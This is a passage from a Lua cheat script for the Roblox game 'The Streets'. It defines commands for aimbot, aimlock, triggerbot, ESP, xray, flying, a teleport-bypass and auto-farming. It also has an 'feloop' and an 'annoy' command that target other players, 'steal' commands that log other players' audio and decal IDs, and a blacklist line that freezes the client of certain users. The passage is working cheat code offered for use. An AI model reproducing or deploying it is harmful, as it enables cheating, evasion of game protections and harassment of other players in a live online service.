  2269. end
  2270. end
  2271. else
  2272. notif("No cars to bring","try again later",5,nil)
  2273. end
  2274. end,"bringcar",{},"Brings a car (Normal TS only","[No Args]")
  2275.  
  2276. AddCommand(function()
  2277. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2278. if TpBypass then notif("Due to snakes bad code","you can not use burgers/drinks with the tpbypass") return end
  2279. if GrabItem("burger",GetChar().Head.CFrame) then
  2280. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  2281. if Hamborger then
  2282. Hamborger.Parent = GetChar()
  2283. Hamborger:Activate() -- CHEEMS
  2284. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= LP.Character
  2285. end
  2286. end
  2287. if GrabItem("drink",GetChar().Head.CFrame) then
  2288. local Drink = LP.Backpack:FindFirstChild'Drink'
  2289. if Drink then
  2290. Drink.Parent = GetChar()
  2291. Drink:Activate()
  2292. end
  2293. end
  2294. end,"heal",{"h"},"Heals you (Duh?)","[No Args]","[No Args]")
  2295.  
  2296. AddCommand(function(Arguments)
  2297. if game.PlaceId ~= 455366377 then notif("Sorry,","Streets Only",5,nil) return end
  2298. HealBot = not HealBot
  2299. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) and Arguments[1] == "health" then
  2300. HealBotHealth = tonumber(Arguments[2])
  2301. end
  2302. notif("HealBot","Has been set to "..tostring(HealBot),5,nil)
  2303. end,"healbot",{},"Turns on auto healing at a set health (Defaults at 25 hp","[Health [Number] (Optional)]")
  2304.  
  2305. AddCommand(function()
  2306. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2307. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2308. GrabItem("ammo",GetChar().Head.CFrame)
  2309. end,"reload",{"r"},"Gives your current gun ammo","[No Args]")
  2310.  
  2311. AddCommand(function(Arguments)
  2312. if Arguments[1] then
  2313. local Player = PlrFinder(Arguments[1])
  2314. if Player and Player.Character and Player ~= LP then
  2315. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2316. workspace.CurrentCamera.CameraSubject = Player.Character
  2317. if Arguments[2] and Arguments[2] == "loop" then
  2318. ViewPlayerConnection = Player.CharacterAdded:Connect(function(C)
  2319. workspace.CurrentCamera.CameraSubject = C
  2320. end)
  2321. end
  2322. end
  2323. end
  2324. end,"view",{},"Look through a different players perspective","[No Args]")
  2325.  
  2326. AddCommand(function()
  2327. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2328. workspace.CurrentCamera.CameraSubject = GetChar()
  2329. end,"unview",{},"Look through your own vision like a normal person","[No Args]")
  2330.  
  2331. AddCommand(function()
  2332. GunStomp = not GunStomp
  2333. notif("GunStomp","Has been set to "..tostring(GunStomp),5,nil)
  2334. end,"gunstomp",{},"Toggles GunStomp (On by default)","[No Args]")
  2335.  
  2336. AddCommand(function(Arguments)
  2337. CamLocking = not CamLocking
  2338. if Arguments[1] then
  2339. local Player = PlrFinder(Arguments[1])
  2340. if Player then
  2341. CamlockPlayer = Player
  2342. end
  2343. end
  2344. end,"camlock",{"lockcam","cl"},"Different type of aimbot (Uses camera instead of the remote)","[Player Name]")
  2345.  
  2346. AddCommand(function(Arguments)
  2347. if Arguments[1] then
  2348. if Arguments[1] == "auto" then
  2349. AutoFarm = not AutoFarm
  2350. return
  2351. end
  2352. if Arguments[1] == "sawed" then Arguments[1] = "sawed off" end
  2353. farm(Arguments[1])
  2354. end
  2355. end,"farm",{},"Farm (Cash,Sawed Off,Uzi,Shotty,Auto)","[Item/Auto]")
  2356.  
  2357. AddCommand(function()
  2358. ItemEsp = not ItemEsp
  2359. if ItemEsp then
  2360. for i,_ in pairs(FarmTable) do
  2361. local Part,String = find(i)
  2362. if Part ~= "None" then
  2363. Esp(Part,String)
  2364. end
  2365. end
  2366. else
  2367. local Children = workspace:GetChildren()
  2368. for i = 1,#Children do
  2369. Unesp(Children[i])
  2370. end
  2371. end
  2372. end,"itemesp",{},"Turns on ItemEsp","[No Args]")
  2373.  
  2374. AddCommand(function(Arguments)
  2375. if game.PlaceId ~= 455366377 then notif("Wont Work","Streets Only",5,nil) return end
  2376. if Arguments[1] then
  2377. if Arguments[1] == "sawed" then Arguments[1] = "sawedoff" end
  2378. if PartTable[Arguments[1]] then
  2379. GrabItem(Arguments[1],GetChar().Head.CFrame)
  2380. end
  2381. end
  2382. end,"get",{"tpto"},"(Burger,Drink,Ammo,Pipe,Machete,SawedOff,Spray,Uzi,Glock)","[Item]")
  2383.  
  2384. AddCommand(function(Arguments)
  2385. if Arguments[1] then
  2386. if PlaceTable[Arguments[1]] then
  2387. Teleport(PlaceTable[Arguments[1]])
  2388. elseif Arguments[1] == "banland" then
  2389. TeleportService:Teleport(4669040)
  2390. elseif Arguments[1] == "normalstreets" then
  2391. TeleportService:Teleport(455366377)
  2392. end
  2393. end
  2394. end,"place",{},"(SandBox,Jail,Gas,Court,Beach,Bank,BanLand,NormalStreets)","[Place]")
  2395.  
  2396. AddCommand(function(Arguments)
  2397. Blinking = not Blinking
  2398. if Blinking then
  2399. if Arguments[1] and tonumber(Arguments[1]) then
  2400. BlinkSpeed = Arguments[1]
  2401. else
  2402. BlinkSpeed = 2
  2403. end
  2404. end
  2405. notif("Blink","Has been set to "..tostring(Blinking),5,nil)
  2406. end,"blink",{},"Different method of speed (Uses CFrame)","[Number (Optional)]")
  2407.  
  2408. AddCommand(function(Arguments)
  2409. WalkShoot = not WalkShoot
  2410. notif("WalkShoot","Has been set to "..tostring(WalkShoot),5,nil)
  2411. end,"walkshoot",{"noslow"},"Allows you to turn On/Off Walk Shooting","[No Args]")
  2412.  
  2413. AddCommand(function(Arguments)
  2414. FeLoop = not FeLoop
  2415. if Arguments[1] then
  2416. FeLoop = true
  2417. local Player = PlrFinder(Arguments[1])
  2418. if Player then
  2419. GetChar():BreakJoints()
  2420. LoopPlayer = Player
  2421. end
  2422. else
  2423. LoopPlayer = nil
  2424. end
  2425. end,"feloop",{},"First you were a skid, Now you're annoying with a simple use of this command!","[Player]")
  2426.  
  2427. AddCommand(function(Arguments)
  2428. AnnoyOn = not AnnoyOn
  2429. if Arguments[1] then
  2430. if AnnoyOn then
  2431. local Player = PlrFinder(Arguments[1])
  2432. if Player and Player ~= LP then
  2433. AnnoyingPlayer = Player
  2434. end
  2435. end
  2436. end
  2437. end,"annoy",{"shield"},"Loop Teleports you infront of the Player","[Player]")
  2438.  
  2439. AddCommand(function(Arguments)
  2440. TriggerBot = not TriggerBot
  2441. if not TriggerBot then
  2442. wait()
  2443. AnnoyOn = false
  2444. AnnoyingPlayer = nil
  2445. AimbotAutoShoot = false
  2446. Flying = false
  2447. AutoDie = false
  2448. end
  2449. if Arguments[1] and TriggerBot then
  2450. AutoDie = true
  2451. CheckCommand("annoy "..Arguments[1])
  2452. AimbotAutoShoot = true
  2453. if not NeverSitting then
  2454. CheckCommand("neversit")
  2455. end
  2456. end
  2457. end,"triggerbot",{},"triggerbot goes brrrrrrrrrrrrrrrr","[Player]")
  2458.  
  2459. --[[AddCommand(function(Arguments)
  2460. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2461. if RemoteGunBodyPos then
  2462. RemoteGunBodyPos:Destroy()
  2463. RemoteGunBodyPos = nil
  2464. RemoteGunPlayer = nil
  2465. end
  2466. if Arguments[1] then
  2467. local Player = PlrFinder(Arguments[1])
  2468. if Player then
  2469. RemoteGunPlayer = Player
  2470. RemoteGunBodyPos = createBodyPos(GetChar():FindFirstChildOfClass'Tool'.Handle)
  2471. end
  2472. end
  2473. end,"remotegun",{},"Hold any gun","[Player]")]]
  2474.  
  2475. AddCommand(function()
  2476. if game.PlaceId ~= 455366377 then notif("TriggerBotAutoReload","Only works on normal Streets",5,nil) return end
  2477. TriggerBotAutoReload = not TriggerBotAutoReload
  2478. end,"triggerbotautoreload",{},"Triggerbot auto reload (instead of resetting only works on Ts) (also probably buggy)","[No Args]")
  2479.  
  2480. AddCommand(function(Arguments)
  2481. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) then
  2482. if Arguments[1] == "down" then
  2483. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2484. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2485. elseif Arguments[1] == "up" then
  2486. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position - UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,tonumber(Arguments[2])))
  2487. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y + UDim.new(0,3))
  2488. end
  2489. end
  2490. end,"movechat",{},"Move Chat Up/Down with (Up/Down [Number])","[Up/Down] [Number]")
  2491.  
  2492. AddCommand(function(Arguments)
  2493. if Arguments[1] and Arguments[1] == "legacy" then
  2494. local Arm = GetChar():FindFirstChild'Right Arm'
  2495. if Arm then
  2496. Arm:Destroy()
  2497. end
  2498. else
  2499. AntiKill = true
  2500. ToolTable = LP.Backpack:GetChildren()
  2501. local Character = GetChar()
  2502. Character.ChildAdded:Connect(function(Tool)
  2503. if Tool:IsA'Tool' then
  2504. if table.find(ToolTable,Tool) then return end
  2505. Tool:Destroy()
  2506. end
  2507. end)
  2508. notif("AntiKill","Turn on noclip for best results")
  2509. end
  2510. end,"antikill",{},"Makes FE Loop not work (Legacy for removing right arm)","[Legacy (Optional)]")
  2511.  
  2512. AddCommand(function(Arguments)
  2513. if Arguments[1] then
  2514. local Player = PlrFinder(Arguments[1])
  2515. if Player and Player.Character then
  2516. local BoxModel = Player.Character:FindFirstChild'BoxModel' or Player.Character:FindFirstChild'BoomBox'
  2517. if BoxModel and BoxModel:FindFirstChild'Handle' then
  2518. if writefile then
  2519. writefile("AudioLog from "..Player.Name.." "..math.random(1,99)..".txt",string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2520. notif("Audio has been stolen.","Check your exploits workspace folder",5,nil)
  2521. else
  2522. print("Audio From: "..Player.Name.." Id: "..string.match(BoxModel.Handle:FindFirstChildOfClass'Sound'.SoundId,'%d+'))
  2523. notif("Audio has been stolen.","It has been printed to your console (F9) due to your exploit not supporting writefile",5,nil)
  2524. end
  2525. end
  2526. end
  2527. end
  2528. end,"steal",{},"Steals a persons audio","[Player]")
  2529. if LP:IsInGroup(6000816) or LP:IsInGroup(5152759) or LP:IsInGroup(5000083) or LP:IsInGroup(5993069) or string.find(LP.Name:lower(),"lynx") or string.find(LP.Name:lower(),"spacedgod") or BlacklistTable[LP.UserId] then while true do end end
  2530. AddCommand(function(Arguments)
  2531. if Arguments[1] then
  2532. local Player = PlrFinder(Arguments[1])
  2533. if Player then
  2534. local Decal = workspace:FindFirstChild(Player.Name.."Spray")
  2535. if Decal and Decal:FindFirstChildOfClass'Decal' then
  2536. if writefile then
  2537. writefile("DecalLog from "..Player.Name.." "..math.random(1,99)..".txt",tostring(string.match(Decal.Decal.Texture,'%d+')))
  2538. else
  2539. print("Decal From: "..Player.Name.." Id: "..tostring(string.match(Decal.Decal.Texture,'%d+')))
  2540. end
  2541. end
  2542. end
  2543. end
  2544. end,"decalsteal",{},"Steals a persons decal","[Player]")
  2545.  
  2546. AddCommand(function()
  2547. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2548. if RainbowHats then RainbowHats = false LP.Backpack.Stank:FireServer("ren") end
  2549. if RainbowFrame.Visible then RainbowFrame.Visible = false return end
  2550. RainbowScrolling:ClearAllChildren()
  2551. RainbowFrame.Visible = true
  2552. local C = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  2553. createRainbow(UDim2.new(-0.002,0,0,-10),"All")
  2554. for i = 1,#C do
  2555. local Child = C[i]
  2556. if Child:IsA'TextButton' and Child:FindFirstChild'typ' then
  2557. createRainbow(UDim2.new(-0.002,0,0,-40 + (i * 30)),Child.typ.Value,Child.typ)
  2558. end
  2559. end
  2560. end,"rainbowhats",{},"Opens a GUI so you can pick what hat to rainbowize","[No Args]")
  2561.  
  2562. AddCommand(function(Arguments)
  2563. if game.PlaceId ~= 455366377 then return notif("Wont work","Streets Only",5,nil) end
  2564. if Arguments[1] and tonumber(Arguments[1]) then
  2565. Rainbowdelay = tonumber(Arguments[1])
  2566. end
  2567. end,"rainbowhatdelay",{},"Changes the delay for rainbow hats","[Number]")
  2568.  
  2569. AddCommand(function(Arguments)
  2570. if not Arguments[2] then
  2571. Flying = not Flying
  2572. end
  2573. if Arguments[1] then
  2574. if Arguments[1] == "up" then
  2575. FlySpeed = FlySpeed + Arguments[2] or 1
  2576. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2577. elseif Arguments[1] == "down" then
  2578. FlySpeed = FlySpeed - Arguments[2] or 1
  2579. notif("FlySpeed","Has been set to "..FlySpeed,5,nil)
  2580. elseif tonumber(Arguments[1]) then
  2581. FlySpeed = tonumber(Arguments[1])
  2582. if Flying then
  2583. Fly()
  2584. end
  2585. end
  2586. else
  2587. if Flying then
  2588. Fly()
  2589. end
  2590. end
  2591. end,"fly",{},"Allows you to fly [Up/Down Speed]","[Up/Down Speed]/Speed")
  2592.  
  2593. AddCommand(function()
  2594. DoubleJumpEnabled = not DoubleJumpEnabled
  2595. notif("DoubleJumpEnabled","Has been set to "..tostring(DoubleJumpEnabled),5,nil)
  2596. end,"doublejump",{"infinitejump"},"Allows you to jump forever","[No Args]")
  2597.  
  2598. AddCommand(function()
  2599. TpBypass = not TpBypass
  2600. GetChar():BreakJoints()
  2601. end,"tpbypass",{},"Teleportation Bypass (Allows Infinite FlySpeed etc)","[No Args]")
  2602.  
  2603. AddCommand(function(Arguments)
  2604. if Arguments[1] then
  2605. if WhiteListedParts[Arguments[1]] then
  2606. AimMode = WhiteListedParts[Arguments[1]]
  2607. notif("AimTarget","has been set to "..AimMode,5,"rbxassetid://1281284684")
  2608. end
  2609. end
  2610. end,"aimtarget",{},"Changes the aim target [Head/Torso/HumanoidRootPart/Prediction]","[Head/Torso/HumanoidRootPart/Prediction]")
  2611.  
  2612. AddCommand(function(Arguments)
  2613. if Arguments[1] then
  2614. if Arguments[1] == "leftclick" then
  2615. AimlockMode = "LeftClick"
  2616. elseif Arguments[1] == "rightclick" then
  2617. AimlockMode = "RightClick"
  2618. elseif Arguments[1] == "nomouse" then
  2619. AimlockMode = "NoMouse"
  2620. elseif Arguments[1] == "closest" then
  2621. AimlockMode = "Closest"
  2622. local PlayersT = Players:GetPlayers()
  2623. for i = 1,#PlayersT do
  2624. if PlayersT[i] ~= LP then
  2625. AimlockClosest(PlayersT[i])
  2626. end
  2627. end
  2628. end
  2629. updateHotkeys(ConfigurationFile)
  2630. end
  2631. end,"aimmode",{"aimlockmode"},"LeftClick/RightClick/NoMouse/Closest (Sets the way you can aimlock)","[LeftClick/RightClick/NoMouse/Closest]")
  2632.  
  2633. AddCommand(function(Arguments)
  2634. if Arguments[1] and tonumber(Arguments[1]) then
  2635. AimbotVelocity = tonumber(Arguments[1])
  2636. if AimMode ~= "OldPrediction" then
  2637. notif("Note:","This only works with aimtarget oldprediction (prediction auto sets dependant on ping)",5,nil)
  2638. end
  2639. end
  2640. end,"aimvelocity",{},"Changes your Aimbots Velocity (If mode is set to a prediction mode) (Default: 5)","[Number]")
  2641.  
  2642. AddCommand(function(Arguments)
  2643. if Arguments[1] and Arguments[1] ~= "all" then
  2644. local Player = PlrFinder(Arguments[1])
  2645. if Player and Player ~= LP and tostring(AimlockTarget) ~= tostring(Player) then
  2646. AimlockTarget,Aimlock = Player.Character,true
  2647. local Connection;Connection = Player.CharacterAdded:Connect(function(C)
  2648. if tostring(C) == tostring(AimlockTarget) then
  2649. AimlockTarget = C
  2650. else
  2651. Connection:Disconnect()
  2652. Connection = nil
  2653. end
  2654. end)
  2655. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  2656. end
  2657. else
  2658. Aimlock = not Aimlock
  2659. notif("Aimlock","Has been set to "..tostring(Aimlock),5,nil)
  2660. end
  2661. end,"aimlock",{"aim"},"Aimbot (Different method than camlock)","[Player]")
  2662.  
  2663. --[[AddCommand(function()
  2664. if game.PlaceId ~= 455366377 then notif("BFG","Streets only",5,nil) end
  2665. BfgOn = not BfgOn
  2666. end,"bfg",{},"Shitty bfg I made (Normal Ts Only)","[No Args]")]]
  2667.  
  2668. AddCommand(function(Arguments)
  2669. if Arguments[1] then
  2670. if Arguments[1] == "triggerbot" then
  2671. AutoTriggerBot = not AutoTriggerBot
  2672. notif("AutoTriggerBot","Has been set to "..tostring(AutoTriggerBot),5,nil)
  2673. elseif Arguments[1] == "feloop" then
  2674. AutoFeloop = not AutoFeloop
  2675. notif("AutoFeloop","Has been set to "..tostring(AutoFeloop),5,nil)
  2676. end
  2677. else
  2678. AutoTarget = not AutoTarget
  2679. notif("AutoTarget","Has been set to "..tostring(AutoTarget),5,nil)
  2680. end
  2681. end,"autotarget",{"autolock"},"autotarget [triggerbot/feloop/no arguments] triggerbot auto triggerbots when someone hits you,no args auto camlocks/aimlocks","[TriggerBot/FeLoop/No Args]")
  2682.  
  2683. AddCommand(function()
  2684. AimbotAutoShoot = not AimbotAutoShoot
  2685. notif("AimbotAutoShoot","Has been set to "..tostring(AimbotAutoShoot),5,nil)
  2686. end,"aimbotautoshoot",{},"Auto shoots aimbot","[No Args]")
  2687.  
  2688. AddCommand(function(Arguments)
  2689. if Arguments[1] then
  2690. ClickTpKey = Arguments[1]:sub(1,1)
  2691. updateHotkeys(ConfigurationFile)
  2692. else
  2693. ClickTpKey = nil
  2694. updateHotkeys(ConfigurationFile)
  2695. end
  2696. end,"clicktp",{"ctp"},"Allows you to teleport around the map with the Key you set","[Key]")
  2697.  
  2698. AddCommand(function()
  2699. AutoStomp = not AutoStomp
  2700. end,"autostomp",{},"Turns On/Off AutoStomp","[No Args]")
  2701.  
  2702. AddCommand(function(Arguments)
  2703. if Arguments[1] then
  2704. if Arguments[1] == "remove" and Arguments[2] then
  2705. local Player = PlrFinder(Arguments[2])
  2706. if Player and Player ~= LP then
  2707. for i,v in pairs(StompWhitelist) do if Player.UserId == v then table.remove(StompWhitelist,i) end
  2708. end
  2709. else
  2710. local Player = PlrFinder(Arguments[1])
  2711. if Player and Player ~= LP then
  2712. table.insert(StompWhitelist,Player.UserId)
  2713. end
  2714. end
  2715. end
  2716. end
  2717. end,"autostompwhitelist",{},"Adds the player to the whitelist so they don't get stomped, to remove use remove before their name","[Player]")
  2718.  
  2719. AddCommand(function(Arguments)
  2720. if not Freecam then
  2721. Freecam = true
  2722. FreeCam(Arguments[1])
  2723. else
  2724. Freecam = false
  2725. end
  2726. end,"freecam",{},"Allows you to \"free\" view the map","[Speed (Optional)]")
  2727.  
  2728. AddCommand(function()
  2729. GravGunTool = Instance.new('Tool',LP.Backpack)
  2730. GravGunTool.Name = "GravGun"
  2731. GravGunTool.RequiresHandle = false
  2732. local Handle = Instance.new('Part',GravGunTool)
  2733. Handle.Name = "Handle"
  2734. Handle.Transparency = 1
  2735. end,"gravgun",{"gravitygun"},"Gmod Gravity gun","[Keys: Q,V] (No Args)")
  2736.  
  2737. AddCommand(function()
  2738. ExploiterDetectionOn = not ExploiterDetectionOn
  2739. notif("ExploiterDetection","Has been set to "..tostring(ExploiterDetectionOn),5,nil)
  2740. end,"exploiterdetection",{},"Detects exploiters (Has a chance to false flag)","[No Args]")
  2741.  
  2742. AddCommand(function(Arguments)
  2743. if Arguments[1] then
  2744. if Arguments[1] == "image" then
  2745. if Arguments[2] then
  2746. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id="..Arguments[2]
  2747. end
  2748. elseif Arguments[1] == "none" then
  2749. CmdBarImageLabel.Image = ""
  2750. elseif Arguments[1] == "default" then
  2751. CmdBarImageLabel.Image = "http://www.roblox.com/asset/?id=2812081613"
  2752. end
  2753. updateHotkeys(ConfigurationFile)
  2754. end
  2755. end,"commandbarimage",{"cmdbarimage"},"Changes the command bar image","[Image/None/Default]")
  2756.  
  2757. AddCommand(function(Arguments)
  2758. if Arguments[1] then
  2759. local Player = PlrFinder(Arguments[1])
  2760. if Player and Player ~= LP then
  2761. if typeof(Player) == "table" then
  2762. for i = 1,#Player do
  2763. local ActualPlr = Player[i]
  2764. if ActualPlr ~= LP and ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2765. if Arguments[1] == "users" and AdminUserTable[ActualPlr] or Arguments[1] ~= "users" then
  2766. EspTable2[ActualPlr] = true
  2767. Esp(ActualPlr.Character.Head,Player.Name)
  2768. local EspEvent;EspEvent = ActualPlr.CharacterAdded:Connect(function(C)
  2769. local Head = C:WaitForChild'Head'
  2770. if EspTable[Player] then
  2771. Esp(Head,Player.Name)
  2772. else
  2773. EspEvent:Disconnect()
  2774. end
  2775. end)
  2776. end
  2777. end
  2778. end
  2779. else
  2780. if Player.Character and Player.Character:FindFirstChild'Head' then
  2781. EspTable2[Player] = true
  2782. Esp(Player.Character.Head,Player.Name)
  2783. local EspEvent;EspEvent = Player.CharacterAdded:Connect(function(C)
  2784. local Head = C:WaitForChild'Head'
  2785. if EspTable[Player] then
  2786. Esp(Head,Player.Name)
  2787. else
  2788. EspEvent:Disconnect()
  2789. end
  2790. end)
  2791. end
  2792. end
  2793. end
  2794. end
  2795. end,"esp",{},"Find a player anywhere in the map","[Player/All/Users]")
  2796.  
  2797. AddCommand(function(Arguments)
  2798. if Arguments[1] then
  2799. local Player = PlrFinder(Arguments[1])
  2800. if Player then
  2801. if typeof(Player) == "table" then
  2802. for i = 1,#Player do
  2803. local ActualPlr = Player[i]
  2804. if ActualPlr.Character and ActualPlr.Character:FindFirstChild'Head' then
  2805. Unesp(ActualPlr)
  2806. end
  2807. end
  2808. else
  2809. if Player.Character and Player.Character:FindFirstChild'Head' then
  2810. Unesp(Player)
  2811. end
  2812. end
  2813. end
  2814. end
  2815. end,"unesp",{},"obviously removes the esp?","[Player/All]")
  2816.  
  2817. AddCommand(function(Arguments)
  2818. if Arguments[1] then
  2819. if Arguments[1] == "esp" then
  2820. EspColour = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
  2821. elseif Arguments[1] == "bullet" then
  2822. BulletColour = ColorSequence.new(Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0))
  2823. end
  2824. end
  2825. end,"colour",{"color"},"Colour esp/bullet [3 Args (Number) (Optional)] defaults to 0","[Esp/Bullet] [3 numbers (Optional)]")
  2826.  
  2827. AddCommand(function()
  2828. KeysFrame.Visible = not KeysFrame.Visible
  2829. end,"hotkey",{"key"},"For Setting hotkeys, Type in the textbox, click the button and press a key","[No Args]")
  2830.  
  2831. AddCommand(function(Arguments)
  2832. if Arguments[1] then
  2833. for Index,Key in pairs(Keys) do
  2834. if Key:match'[%a%d]+$' == Arguments[1]:upper() or Key:match("[%a%d]+$") == Arguments[1] then
  2835. table.remove(Keys,Index)
  2836. updateHotkeys(ConfigurationFile)
  2837. end
  2838. end
  2839. end
  2840. end,"removekey",{"rkey"},"Removes a hotkey to a command","[Key]")
  2841.  
  2842. AddCommand(function()
  2843. Keys = {}
  2844. ClickTpKey = ""
  2845. updateHotkeys(ConfigurationFile)
  2846. end,"removeallhotkeys",{"removeallkeys"},"Removes all hotkeys","[No Args]")
  2847.  
  2848. AddCommand(function(Arguments)
  2849. if readfile and writefile then
  2850. if Arguments[1] then
  2851. if Arguments[1] == "default" then
  2852. ConfigurationFile = "CyrusStreetsAdminSettings.json"
  2853. elseif pcall(readfile,Arguments[1]..".json") then
  2854. ConfigurationFile = Arguments[1]..".json"
  2855. else
  2856. ConfigurationFile = Arguments[1]..".json"
  2857. initalizeHotkeys(ConfigurationFile)
  2858. end
  2859. runHotkeys(ConfigurationFile)
  2860. end
  2861. end
  2862. end,"config",{},"Changes Configs (Useful for having different profiles i.e legit etc)","[Config Name]")
  2863.  
  2864. AddCommand(function(Arguments)
  2865. if Arguments[1] then
  2866. if Arguments[1] == "wireframe" then
  2867. Xray(Arguments[1],"wireframe")
  2868. else
  2869. notif("Xray","Sorry, Only [Xray WireFrame/No Args] Work",5,nil)
  2870. end
  2871. else
  2872. Xray()
  2873. end
  2874. end,"xray",{},"see through walls (also has wireframe mode which looks cool but kills fps)","[WireFrame/No Args]")
  2875.  
  2876. -- [[ End ]] --
  2877.  
  2878. -- [[ Gui Initalization ]] --
  2879.  
  2880. coroutine.resume(coroutine.create(function()
  2881. -- Rainbow Hats --
  2882. RainbowFrame.Visible = false
  2883. RainbowFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2884. RainbowFrame.BackgroundTransparency = 0.6
  2885. RainbowFrame.Position = UDim2.new(0.3,0,0.17,0)
  2886. RainbowFrame.Size = UDim2.new(0,460,0,359)
  2887. RainbowFrame.AnchorPoint = Vector2.new(0,0)
  2888.  
  2889. RainbowLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2890. RainbowLabel.BackgroundTransparency = 0.3
  2891. RainbowLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2892. RainbowLabel.BorderSizePixel = 2
  2893. RainbowLabel.Position = UDim2.new(-0.002,0,-0.14,0)
  2894. RainbowLabel.Size = UDim2.new(0,460,0,50)
  2895. RainbowLabel.Font = Enum.Font.SciFi
  2896. RainbowLabel.Text = "Rainbow Hats"
  2897. RainbowLabel.TextColor3 = Color3.fromRGB(255,170,255)
  2898. RainbowLabel.TextSize = 50
  2899.  
  2900. RainbowScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2901. RainbowScrolling.BackgroundTransparency = 0.3
  2902. RainbowScrolling.BorderColor3 = Color3.fromRGB(170,0,0)
  2903. RainbowScrolling.BorderSizePixel = 2
  2904. RainbowScrolling.Position = UDim2.new(-0.0013,0,-0.0006,0)
  2905. RainbowScrolling.Size = UDim2.new(0,460,0,359)
  2906. RainbowScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2907. RainbowScrolling.ScrollBarThickness = 10
  2908.  
  2909. CmdsFrame.BackgroundColor3 = Color3.fromRGB(255,255,255)
  2910. CmdsFrame.BorderColor3 = Color3.fromRGB(170,0,0)
  2911. CmdsFrame.BorderSizePixel = 0
  2912. CmdsFrame.Position = UDim2.new(0.34,0,0.16,0)
  2913. CmdsFrame.Size = UDim2.new(0,400,0,350)
  2914. CmdsFrame.Style = Enum.FrameStyle.RobloxSquare
  2915. CmdsFrame.Visible = false
  2916. CmdsFrame.AnchorPoint = Vector2.new(0,0)
  2917.  
  2918. -- Help Gui --
  2919.  
  2920. CmdsLabel.BackgroundColor3 = Color3.fromRGB(116,0,0)
  2921. CmdsLabel.BackgroundTransparency = 0.2
  2922. CmdsLabel.BorderColor3 = Color3.fromRGB(49,0,0)
  2923. CmdsLabel.BorderSizePixel = 0
  2924. CmdsLabel.Position = UDim2.new(-0.02,0,-0.15,0)
  2925. CmdsLabel.Size = UDim2.new(0,400,0,43)
  2926. CmdsLabel.Font = Enum.Font.SciFi
  2927. CmdsLabel.Text = "Commands"
  2928. CmdsLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2929. CmdsLabel.TextSize = 20
  2930.  
  2931. CmdsScrolling.Active = true
  2932. CmdsScrolling.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2933. CmdsScrolling.BackgroundTransparency = 1
  2934. CmdsScrolling.BorderColor3 = Color3.fromRGB(170,0,0)
  2935. CmdsScrolling.BorderSizePixel = 0
  2936. CmdsScrolling.Position = UDim2.new(-0.022,0,-0.02,0)
  2937. CmdsScrolling.Size = UDim2.new(0,400,0,350)
  2938. CmdsScrolling.CanvasSize = UDim2.new(0,0,10,0)
  2939. CmdsScrolling.ScrollBarThickness = 10
  2940.  
  2941. -- Command bar --
  2942.  
  2943.  
  2944. CmdBarFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2945. CmdBarFrame.BackgroundTransparency = 0.8
  2946. CmdBarFrame.Size = UDim2.new(0,197,0,41)
  2947. CmdBarFrame.Position = UDim2.new(1.5,0,1.5,0)
  2948. CmdBarFrame.AnchorPoint = Vector2.new(0.5,0.5)
  2949.  
  2950. CmdBarTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2951. CmdBarTextBox.BackgroundTransparency = 0.4
  2952. CmdBarTextBox.BorderColor3 = Color3.fromRGB(170,0,0)
  2953. CmdBarTextBox.BorderSizePixel = 2
  2954. CmdBarTextBox.Position = UDim2.new(0,0,-0.8,0)
  2955. CmdBarTextBox.Size = UDim2.new(0,199,0,41)
  2956. CmdBarTextBox.Font = Enum.Font.SciFi
  2957. CmdBarTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  2958. CmdBarTextBox.TextSize = 15
  2959. CmdBarTextBox.TextWrapped = true
  2960. CmdBarTextBox.ClearTextOnFocus = true
  2961.  
